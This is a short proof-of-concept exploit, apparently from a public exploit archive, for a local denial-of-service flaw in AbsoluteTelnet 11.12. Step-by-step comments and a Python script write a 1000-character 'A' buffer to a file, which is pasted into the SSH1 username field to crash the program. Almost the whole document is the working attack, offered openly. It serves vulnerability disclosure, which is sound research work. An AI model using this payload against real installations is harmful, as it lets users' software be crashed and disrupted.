AbsoluteTelnet 11.12 Denial Of Service

`# Exploit Title: AbsoluteTelnet 11.12 - 'SSH1/username' Denial of Service (PoC)  
# Discovery by: chuyreds  
# Discovery Date: 2020-05-02  
# Vendor Homepage: https://www.celestialsoftware.net/  
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe  
# Tested Version: 11.12  
# Vulnerability Type: Denial of Service (DoS) Local  
# Tested on OS: Windows 10 Pro x64 es  
  
# Steps to produce the crash:  
# 1.- Run python code: AbsoluteTelnet 11.12_username_ssh1.py  
# 2.- Open absolutetelnet_username_SSH1.txt and copy content to clipboard  
# 3.- Open AbsoluteTelnet  
# 4.- Select "new connection file", "Connection", "SSH1", "Use last username"  
# 5.- In "username" field paste Clipboard  
# 6.- Select "OK"  
# 7.- Crashed  
  
buffer = "\x41" * 1000  
f = open ("absolutetelnet_username_SSH1.txt", "w")  
f.write(buffer)  
f.close()  
`